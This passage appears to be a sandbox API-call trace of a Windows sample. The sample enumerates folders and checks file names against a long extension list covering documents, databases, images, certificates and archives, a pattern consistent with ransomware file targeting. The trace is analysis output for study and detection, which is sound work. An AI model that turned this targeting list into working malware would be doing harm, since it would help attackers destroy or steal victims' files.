[0099.034] lstrlenW (lpString=".db") returned 3 [0099.034] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0099.034] lstrlenW (lpString=".dbf") returned 4 [0099.034] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0099.034] lstrlenW (lpString=".dbx") returned 4 [0099.034] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0099.034] lstrlenW (lpString=".dc3") returned 4 [0099.034] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0099.034] lstrlenW (lpString=".dcm") returned 4 [0099.034] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0099.034] lstrlenW (lpString=".dcr") returned 4 [0099.034] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0099.034] lstrlenW (lpString=".der") returned 4 [0099.034] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0099.034] lstrlenW (lpString=".dib") returned 4 [0099.034] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0099.034] lstrlenW (lpString=".dic") returned 4 [0099.034] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0099.034] lstrlenW (lpString=".dif") returned 4 [0099.035] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0099.035] lstrlenW (lpString=".divx") returned 5 [0099.035] lstrcmpiW (lpString1=".divx", lpString2="a.xml") returned -1 [0099.035] lstrlenW (lpString=".djvu") returned 5 [0099.035] lstrcmpiW (lpString1=".djvu", lpString2="a.xml") returned -1 [0099.035] lstrlenW (lpString=".dng") returned 4 [0099.035] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0099.035] lstrlenW (lpString=".doc") returned 4 [0099.035] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0099.035] lstrlenW (lpString=".docm") returned 5 [0099.035] lstrcmpiW (lpString1=".docm", lpString2="a.xml") returned -1 [0099.035] lstrlenW (lpString=".docx") returned 5 [0099.035] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0099.035] lstrlenW (lpString=".dot") returned 4 [0099.035] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0099.035] lstrlenW (lpString=".dotm") returned 5 [0099.035] lstrcmpiW (lpString1=".dotm", lpString2="a.xml") returned -1 [0099.035] lstrlenW (lpString=".dotx") returned 5 [0099.035] lstrcmpiW (lpString1=".dotx", lpString2="a.xml") returned -1 [0099.035] lstrlenW (lpString=".dpx") returned 4 [0099.035] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0099.035] lstrlenW (lpString=".dqy") returned 4 [0099.035] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0099.035] lstrlenW (lpString=".dsn") returned 4 [0099.035] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0099.035] lstrlenW (lpString=".dt") returned 3 [0099.035] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0099.035] lstrlenW (lpString=".dtd") returned 4 [0099.035] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0099.035] lstrlenW (lpString=".dwg") returned 4 [0099.035] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0099.035] lstrlenW (lpString=".dwt") returned 4 [0099.036] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0099.036] lstrlenW (lpString=".dx") returned 3 [0099.036] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0099.036] lstrlenW (lpString=".dxf") returned 4 [0099.036] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0099.036] lstrlenW (lpString=".edml") returned 5 [0099.036] lstrcmpiW (lpString1=".edml", lpString2="a.xml") returned -1 [0099.036] lstrlenW (lpString=".efd") returned 4 [0099.036] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0099.036] lstrlenW (lpString=".elf") returned 4 [0099.036] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0099.036] lstrlenW (lpString=".emf") returned 4 [0099.036] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0099.036] lstrlenW (lpString=".emz") returned 4 [0099.036] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0099.036] lstrlenW (lpString=".epf") returned 4 [0099.036] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0099.036] lstrlenW (lpString=".eps") returned 4 [0099.036] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0099.036] lstrlenW (lpString=".epsf") returned 5 [0099.036] lstrcmpiW (lpString1=".epsf", lpString2="a.xml") returned -1 [0099.036] lstrlenW (lpString=".epsp") returned 5 [0099.036] lstrcmpiW (lpString1=".epsp", lpString2="a.xml") returned -1 [0099.036] lstrlenW (lpString=".erf") returned 4 [0099.036] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0099.036] lstrlenW (lpString=".exr") returned 4 [0099.036] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0099.036] lstrlenW (lpString=".f4v") returned 4 [0099.036] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0099.036] lstrlenW (lpString=".fido") returned 5 [0099.036] lstrcmpiW (lpString1=".fido", lpString2="a.xml") returned -1 [0099.036] lstrlenW (lpString=".flm") returned 4 [0099.036] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0099.037] lstrlenW (lpString=".flv") returned 4 [0099.037] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0099.037] lstrlenW (lpString=".frm") returned 4 [0099.037] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0099.037] lstrlenW (lpString=".fxg") returned 4 [0099.037] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0099.037] lstrlenW (lpString=".geo") returned 4 [0099.037] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0099.037] lstrlenW (lpString=".gif") returned 4 [0099.037] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0099.037] lstrlenW (lpString=".grs") returned 4 [0099.037] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0099.037] lstrlenW (lpString=".gz") returned 3 [0099.037] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0099.037] lstrlenW (lpString=".h") returned 2 [0099.037] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0099.037] lstrlenW (lpString=".hdr") returned 4 [0099.037] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0099.037] lstrlenW (lpString=".hpp") returned 4 [0099.037] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0099.037] lstrlenW (lpString=".hta") returned 4 [0099.037] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0099.037] lstrlenW (lpString=".htc") returned 4 [0099.037] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0099.037] lstrlenW (lpString=".htm") returned 4 [0099.037] lstrcmpiW (lpString1=".htm", lpString2=".xml") returned -1 [0099.037] lstrlenW (lpString=".html") returned 5 [0099.037] lstrcmpiW (lpString1=".html", lpString2="a.xml") returned -1 [0099.037] lstrlenW (lpString=".icb") returned 4 [0099.037] lstrcmpiW (lpString1=".icb", lpString2=".xml") returned -1 [0099.037] lstrlenW (lpString=".ics") returned 4 [0099.037] lstrcmpiW (lpString1=".ics", lpString2=".xml") returned -1 [0099.037] lstrlenW (lpString=".iff") returned 4 [0099.037] lstrcmpiW (lpString1=".iff", lpString2=".xml") returned -1 [0099.038] lstrlenW (lpString=".inc") returned 4 [0099.038] lstrcmpiW (lpString1=".inc", lpString2=".xml") returned -1 [0099.038] lstrlenW (lpString=".indd") returned 5 [0099.038] lstrcmpiW (lpString1=".indd", lpString2="a.xml") returned -1 [0099.038] lstrlenW (lpString=".ini") returned 4 [0099.038] lstrcmpiW (lpString1=".ini", lpString2=".xml") returned -1 [0099.038] lstrlenW (lpString=".iqy") returned 4 [0099.038] lstrcmpiW (lpString1=".iqy", lpString2=".xml") returned -1 [0099.038] lstrlenW (lpString=".j2c") returned 4 [0099.038] lstrcmpiW (lpString1=".j2c", lpString2=".xml") returned -1 [0099.038] lstrlenW (lpString=".j2k") returned 4 [0099.038] lstrcmpiW (lpString1=".j2k", lpString2=".xml") returned -1 [0099.038] lstrlenW (lpString=".java") returned 5 [0099.038] lstrcmpiW (lpString1=".java", lpString2="a.xml") returned -1 [0099.038] lstrlenW (lpString=".jp2") returned 4 [0099.038] lstrcmpiW (lpString1=".jp2", lpString2=".xml") returned -1 [0099.038] lstrlenW (lpString=".jpc") returned 4 [0099.038] lstrcmpiW (lpString1=".jpc", lpString2=".xml") returned -1 [0099.038] lstrlenW (lpString=".jpe") returned 4 [0099.038] lstrcmpiW (lpString1=".jpe", lpString2=".xml") returned -1 [0099.038] lstrlenW (lpString=".jpeg") returned 5 [0099.038] lstrcmpiW (lpString1=".jpeg", lpString2="a.xml") returned -1 [0099.038] lstrlenW (lpString=".jpf") returned 4 [0099.038] lstrcmpiW (lpString1=".jpf", lpString2=".xml") returned -1 [0099.038] lstrlenW (lpString=".jpg") returned 4 [0099.038] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0099.038] lstrlenW (lpString=".jpx") returned 4 [0099.038] lstrcmpiW (lpString1=".jpx", lpString2=".xml") returned -1 [0099.038] lstrlenW (lpString=".js") returned 3 [0099.038] lstrcmpiW (lpString1=".js", lpString2="xml") returned -1 [0099.038] lstrlenW (lpString=".jsf") returned 4 [0099.038] lstrcmpiW (lpString1=".jsf", lpString2=".xml") returned -1 [0099.038] lstrlenW (lpString=".json") returned 5 [0099.039] lstrcmpiW (lpString1=".json", lpString2="a.xml") returned -1 [0099.039] lstrlenW (lpString=".jsp") returned 4 [0099.039] lstrcmpiW (lpString1=".jsp", lpString2=".xml") returned -1 [0099.039] lstrlenW (lpString=".kdc") returned 4 [0099.039] lstrcmpiW (lpString1=".kdc", lpString2=".xml") returned -1 [0099.039] lstrlenW (lpString=".kmz") returned 4 [0099.039] lstrcmpiW (lpString1=".kmz", lpString2=".xml") returned -1 [0099.039] lstrlenW (lpString=".kwm") returned 4 [0099.039] lstrcmpiW (lpString1=".kwm", lpString2=".xml") returned -1 [0099.039] lstrlenW (lpString=".lasso") returned 6 [0099.039] lstrcmpiW (lpString1=".lasso", lpString2="ta.xml") returned -1 [0099.039] lstrlenW (lpString=".lbi") returned 4 [0099.039] lstrcmpiW (lpString1=".lbi", lpString2=".xml") returned -1 [0099.039] lstrlenW (lpString=".lgf") returned 4 [0099.039] lstrcmpiW (lpString1=".lgf", lpString2=".xml") returned -1 [0099.039] lstrlenW (lpString=".lgp") returned 4 [0099.039] lstrcmpiW (lpString1=".lgp", lpString2=".xml") returned -1 [0099.039] lstrlenW (lpString=".log") returned 4 [0099.039] lstrcmpiW (lpString1=".log", lpString2=".xml") returned -1 [0099.039] lstrlenW (lpString=".m1v") returned 4 [0099.039] lstrcmpiW (lpString1=".m1v", lpString2=".xml") returned -1 [0099.039] lstrlenW (lpString=".m4a") returned 4 [0099.039] lstrcmpiW (lpString1=".m4a", lpString2=".xml") returned -1 [0099.039] lstrlenW (lpString=".m4v") returned 4 [0099.039] lstrcmpiW (lpString1=".m4v", lpString2=".xml") returned -1 [0099.039] lstrlenW (lpString=".max") returned 4 [0099.039] lstrcmpiW (lpString1=".max", lpString2=".xml") returned -1 [0099.039] lstrlenW (lpString=".md") returned 3 [0099.039] lstrcmpiW (lpString1=".md", lpString2="xml") returned -1 [0099.039] lstrlenW (lpString=".mda") returned 4 [0099.039] lstrcmpiW (lpString1=".mda", lpString2=".xml") returned -1 [0099.039] lstrlenW (lpString=".mdb") returned 4 [0099.039] lstrcmpiW (lpString1=".mdb", lpString2=".xml") returned -1 [0099.039] lstrlenW (lpString=".mde") returned 4 [0099.040] lstrcmpiW (lpString1=".mde", lpString2=".xml") returned -1 [0099.040] lstrlenW (lpString=".mdf") returned 4 [0099.040] lstrcmpiW (lpString1=".mdf", lpString2=".xml") returned -1 [0099.041] lstrlenW (lpString=".mdw") returned 4 [0099.041] lstrcmpiW (lpString1=".mdw", lpString2=".xml") returned -1 [0099.041] lstrlenW (lpString=".mef") returned 4 [0099.041] lstrcmpiW (lpString1=".mef", lpString2=".xml") returned -1 [0099.041] lstrlenW (lpString=".mft") returned 4 [0099.041] lstrcmpiW (lpString1=".mft", lpString2=".xml") returned -1 [0099.041] lstrlenW (lpString=".mfw") returned 4 [0099.041] lstrcmpiW (lpString1=".mfw", lpString2=".xml") returned -1 [0099.041] lstrlenW (lpString=".mht") returned 4 [0099.042] lstrcmpiW (lpString1=".mht", lpString2=".xml") returned -1 [0099.042] lstrlenW (lpString=".mhtml") returned 6 [0099.042] lstrcmpiW (lpString1=".mhtml", lpString2="ta.xml") returned -1 [0099.042] lstrlenW (lpString=".mka") returned 4 [0099.042] lstrcmpiW (lpString1=".mka", lpString2=".xml") returned -1 [0099.042] lstrlenW (lpString=".mkidx") returned 6 [0099.042] lstrcmpiW (lpString1=".mkidx", lpString2="ta.xml") returned -1 [0099.042] lstrlenW (lpString=".mkv") returned 4 [0099.042] lstrcmpiW (lpString1=".mkv", lpString2=".xml") returned -1 [0099.042] lstrlenW (lpString=".mos") returned 4 [0099.042] lstrcmpiW (lpString1=".mos", lpString2=".xml") returned -1 [0099.042] lstrlenW (lpString=".mov") returned 4 [0099.042] lstrcmpiW (lpString1=".mov", lpString2=".xml") returned -1 [0099.042] lstrlenW (lpString=".mp3") returned 4 [0099.042] lstrcmpiW (lpString1=".mp3", lpString2=".xml") returned -1 [0099.042] lstrlenW (lpString=".mp4") returned 4 [0099.042] lstrcmpiW (lpString1=".mp4", lpString2=".xml") returned -1 [0099.042] lstrlenW (lpString=".mpeg") returned 5 [0099.042] lstrcmpiW (lpString1=".mpeg", lpString2="a.xml") returned -1 [0099.042] lstrlenW (lpString=".mpg") returned 4 [0099.042] lstrcmpiW (lpString1=".mpg", lpString2=".xml") returned -1 [0099.042] lstrlenW (lpString=".mpv") returned 4 [0099.042] lstrcmpiW (lpString1=".mpv", lpString2=".xml") returned -1 [0099.042] lstrlenW (lpString=".mrw") returned 4 [0099.042] lstrcmpiW (lpString1=".mrw", lpString2=".xml") returned -1 [0099.042] lstrlenW (lpString=".msg") returned 4 [0099.042] lstrcmpiW (lpString1=".msg", lpString2=".xml") returned -1 [0099.042] lstrlenW (lpString=".mxl") returned 4 [0099.042] lstrcmpiW (lpString1=".mxl", lpString2=".xml") returned -1 [0099.042] lstrlenW (lpString=".myd") returned 4 [0099.042] lstrcmpiW (lpString1=".myd", lpString2=".xml") returned -1 [0099.042] lstrlenW (lpString=".myi") returned 4 [0099.042] lstrcmpiW (lpString1=".myi", lpString2=".xml") returned -1 [0099.042] lstrlenW (lpString=".nef") returned 4 [0099.042] lstrcmpiW (lpString1=".nef", lpString2=".xml") returned -1 [0099.042] lstrlenW (lpString=".nrw") returned 4 [0099.042] lstrcmpiW (lpString1=".nrw", lpString2=".xml") returned -1 [0099.043] lstrlenW (lpString=".obj") returned 4 [0099.043] lstrcmpiW (lpString1=".obj", lpString2=".xml") returned -1 [0099.043] lstrlenW (lpString=".odb") returned 4 [0099.044] lstrcmpiW (lpString1=".odb", lpString2=".xml") returned -1 [0099.044] lstrlenW (lpString=".odc") returned 4 [0099.044] lstrcmpiW (lpString1=".odc", lpString2=".xml") returned -1 [0099.044] lstrlenW (lpString=".odm") returned 4 [0099.044] lstrcmpiW (lpString1=".odm", lpString2=".xml") returned -1 [0099.044] lstrlenW (lpString=".odp") returned 4 [0099.044] lstrcmpiW (lpString1=".odp", lpString2=".xml") returned -1 [0099.044] lstrlenW (lpString=".ods") returned 4 [0099.044] lstrcmpiW (lpString1=".ods", lpString2=".xml") returned -1 [0099.044] lstrlenW (lpString=".oft") returned 4 [0099.044] lstrcmpiW (lpString1=".oft", lpString2=".xml") returned -1 [0099.044] lstrlenW (lpString=".one") returned 4 [0099.044] lstrcmpiW (lpString1=".one", lpString2=".xml") returned -1 [0099.044] lstrlenW (lpString=".onepkg") returned 7 [0099.044] lstrcmpiW (lpString1=".onepkg", lpString2="ata.xml") returned -1 [0099.044] lstrlenW (lpString=".onetoc2") returned 8 [0099.044] lstrcmpiW (lpString1=".onetoc2", lpString2="Data.xml") returned -1 [0099.044] lstrlenW (lpString=".opt") returned 4 [0099.044] lstrcmpiW (lpString1=".opt", lpString2=".xml") returned -1 [0099.044] lstrlenW (lpString=".oqy") returned 4 [0099.044] lstrcmpiW (lpString1=".oqy", lpString2=".xml") returned -1 [0099.044] lstrlenW (lpString=".orf") returned 4 [0099.044] lstrcmpiW (lpString1=".orf", lpString2=".xml") returned -1 [0099.044] lstrlenW (lpString=".p12") returned 4 [0099.044] lstrcmpiW (lpString1=".p12", lpString2=".xml") returned -1 [0099.044] lstrlenW (lpString=".p7b") returned 4 [0099.044] lstrcmpiW (lpString1=".p7b", lpString2=".xml") returned -1 [0099.044] lstrlenW (lpString=".p7c") returned 4 [0099.044] lstrcmpiW (lpString1=".p7c", lpString2=".xml") returned -1 [0099.044] lstrlenW (lpString=".pam") returned 4 [0099.044] lstrcmpiW (lpString1=".pam", lpString2=".xml") returned -1 [0099.044] lstrlenW (lpString=".pbm") returned 4 [0099.044] lstrcmpiW (lpString1=".pbm", lpString2=".xml") returned -1 [0099.044] lstrlenW (lpString=".pct") returned 4 [0099.044] lstrcmpiW (lpString1=".pct", lpString2=".xml") returned -1 [0099.044] lstrlenW (lpString=".pcx") returned 4 [0099.044] lstrcmpiW (lpString1=".pcx", lpString2=".xml") returned -1 [0099.045] lstrlenW (lpString=".pdd") returned 4 [0099.045] lstrcmpiW (lpString1=".pdd", lpString2=".xml") returned -1 [0099.045] lstrlenW (lpString=".pdf") returned 4 [0099.045] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0099.045] lstrlenW (lpString=".pdp") returned 4 [0099.045] lstrcmpiW (lpString1=".pdp", lpString2=".xml") returned -1 [0099.045] lstrlenW (lpString=".pef") returned 4 [0099.045] lstrcmpiW (lpString1=".pef", lpString2=".xml") returned -1 [0099.045] lstrlenW (lpString=".pem") returned 4 [0099.045] lstrcmpiW (lpString1=".pem", lpString2=".xml") returned -1 [0099.045] lstrlenW (lpString=".pff") returned 4 [0099.045] lstrcmpiW (lpString1=".pff", lpString2=".xml") returned -1 [0099.045] lstrlenW (lpString=".pfm") returned 4 [0099.045] lstrcmpiW (lpString1=".pfm", lpString2=".xml") returned -1 [0099.045] lstrlenW (lpString=".pfx") returned 4 [0099.045] lstrcmpiW (lpString1=".pfx", lpString2=".xml") returned -1 [0099.045] lstrlenW (lpString=".pgm") returned 4 [0099.045] lstrcmpiW (lpString1=".pgm", lpString2=".xml") returned -1 [0099.045] lstrlenW (lpString=".php") returned 4 [0099.045] lstrcmpiW (lpString1=".php", lpString2=".xml") returned -1 [0099.045] lstrlenW (lpString=".php3") returned 5 [0099.045] lstrcmpiW (lpString1=".php3", lpString2="a.xml") returned -1 [0099.045] lstrlenW (lpString=".php4") returned 5 [0099.045] lstrcmpiW (lpString1=".php4", lpString2="a.xml") returned -1 [0099.047] lstrlenW (lpString=".php5") returned 5 [0099.047] lstrcmpiW (lpString1=".php5", lpString2="a.xml") returned -1 [0099.047] lstrlenW (lpString=".phtml") returned 6 [0099.047] lstrcmpiW (lpString1=".phtml", lpString2="ta.xml") returned -1 [0099.047] lstrlenW (lpString=".pict") returned 5 [0099.047] lstrcmpiW (lpString1=".pict", lpString2="a.xml") returned -1 [0099.047] lstrlenW (lpString=".pl") returned 3 [0099.047] lstrcmpiW (lpString1=".pl", lpString2="xml") returned -1 [0099.047] lstrlenW (lpString=".pls") returned 4 [0099.047] lstrcmpiW (lpString1=".pls", lpString2=".xml") returned -1 [0099.047] lstrlenW (lpString=".pm") returned 3 [0099.047] lstrcmpiW (lpString1=".pm", lpString2="xml") returned -1 [0099.047] lstrlenW (lpString=".png") returned 4 [0099.047] lstrcmpiW (lpString1=".png", lpString2=".xml") returned -1 [0099.048] lstrlenW (lpString=".pnm") returned 4 [0099.048] lstrcmpiW (lpString1=".pnm", lpString2=".xml") returned -1 [0099.048] lstrlenW (lpString=".pot") returned 4 [0099.048] lstrcmpiW (lpString1=".pot", lpString2=".xml") returned -1 [0099.048] lstrlenW (lpString=".potm") returned 5 [0099.048] lstrcmpiW (lpString1=".potm", lpString2="a.xml") returned -1 [0099.048] lstrlenW (lpString=".potx") returned 5 [0099.048] lstrcmpiW (lpString1=".potx", lpString2="a.xml") returned -1 [0099.048] lstrlenW (lpString=".ppa") returned 4 [0099.048] lstrcmpiW (lpString1=".ppa", lpString2=".xml") returned -1 [0099.048] lstrlenW (lpString=".ppam") returned 5 [0099.048] lstrcmpiW (lpString1=".ppam", lpString2="a.xml") returned -1 [0099.048] lstrlenW (lpString=".ppm") returned 4 [0099.048] lstrcmpiW (lpString1=".ppm", lpString2=".xml") returned -1 [0099.048] lstrlenW (lpString=".pps") returned 4 [0099.048] lstrcmpiW (lpString1=".pps", lpString2=".xml") returned -1 [0099.048] lstrlenW (lpString=".ppsm") returned 5 [0099.048] lstrcmpiW (lpString1=".ppsm", lpString2="a.xml") returned -1 [0099.048] lstrlenW (lpString=".ppt") returned 4 [0099.048] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0099.048] lstrlenW (lpString=".pptm") returned 5 [0099.048] lstrcmpiW (lpString1=".pptm", lpString2="a.xml") returned -1 [0099.048] lstrlenW (lpString=".pptx") returned 5 [0099.048] lstrcmpiW (lpString1=".pptx", lpString2="a.xml") returned -1 [0099.048] lstrlenW (lpString=".prn") returned 4 [0099.048] lstrcmpiW (lpString1=".prn", lpString2=".xml") returned -1 [0099.048] lstrlenW (lpString=".ps") returned 3 [0099.048] lstrcmpiW (lpString1=".ps", lpString2="xml") returned -1 [0099.048] lstrlenW (lpString=".psb") returned 4 [0099.048] lstrcmpiW (lpString1=".psb", lpString2=".xml") returned -1 [0099.048] lstrlenW (lpString=".psd") returned 4 [0099.048] lstrcmpiW (lpString1=".psd", lpString2=".xml") returned -1 [0099.048] lstrlenW (lpString=".pst") returned 4 [0099.048] lstrcmpiW (lpString1=".pst", lpString2=".xml") returned -1 [0099.048] lstrlenW (lpString=".ptx") returned 4 [0099.049] lstrcmpiW (lpString1=".ptx", lpString2=".xml") returned -1 [0099.049] lstrlenW (lpString=".pub") returned 4 [0099.049] lstrcmpiW (lpString1=".pub", lpString2=".xml") returned -1 [0099.049] lstrlenW (lpString=".pwm") returned 4 [0099.049] lstrcmpiW (lpString1=".pwm", lpString2=".xml") returned -1 [0099.049] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0099.049] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0099.055] FindClose (in: hFindFile=0x3e50840 | out: hFindFile=0x3e50840) returned 1 [0099.055] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0099.055] FindNextFileW (in: hFindFile=0x3e50500, lpFindFileData=0x2e5fa7c | out: lpFindFileData=0x2e5fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1040", cAlternateFileName="")) returned 1 [0099.055] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3e51058 [0099.055] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040") returned 26 [0099.056] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*", lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e50240 [0099.057] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.057] FindNextFileW (in: hFindFile=0x3e50240, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0099.057] lstrlenW (lpString="eula.rtf") returned 8 [0099.057] lstrlenW (lpString=".1cd") returned 4 [0099.057] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0099.057] lstrlenW (lpString=".3ds") returned 4 [0099.057] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0099.057] lstrlenW (lpString=".3fr") returned 4 [0099.057] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0099.057] lstrlenW (lpString=".3g2") returned 4 [0099.057] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0099.057] lstrlenW (lpString=".3gp") returned 4 [0099.057] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0099.057] lstrlenW (lpString=".7z") returned 3 [0099.057] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0099.057] lstrlenW (lpString=".accda") returned 6 [0099.057] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0099.057] lstrlenW (lpString=".accdb") returned 6 [0099.057] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0099.057] lstrlenW (lpString=".accdc") returned 6 [0099.057] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0099.058] lstrlenW (lpString=".accde") returned 6 [0099.058] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0099.058] lstrlenW (lpString=".accdt") returned 6 [0099.058] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0099.058] lstrlenW (lpString=".accdw") returned 6 [0099.058] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0099.058] lstrlenW (lpString=".adb") returned 4 [0099.058] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0099.058] lstrlenW (lpString=".adp") returned 4 [0099.058] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0099.058] lstrlenW (lpString=".ai") returned 3 [0099.058] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0099.058] lstrlenW (lpString=".ai3") returned 4 [0099.058] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0099.058] lstrlenW (lpString=".ai4") returned 4 [0099.058] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0099.058] lstrlenW (lpString=".ai5") returned 4 [0099.058] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0099.058] lstrlenW (lpString=".ai6") returned 4 [0099.058] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0099.058] lstrlenW (lpString=".ai7") returned 4 [0099.058] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0099.058] lstrlenW (lpString=".ai8") returned 4 [0099.058] lstrcmpiW 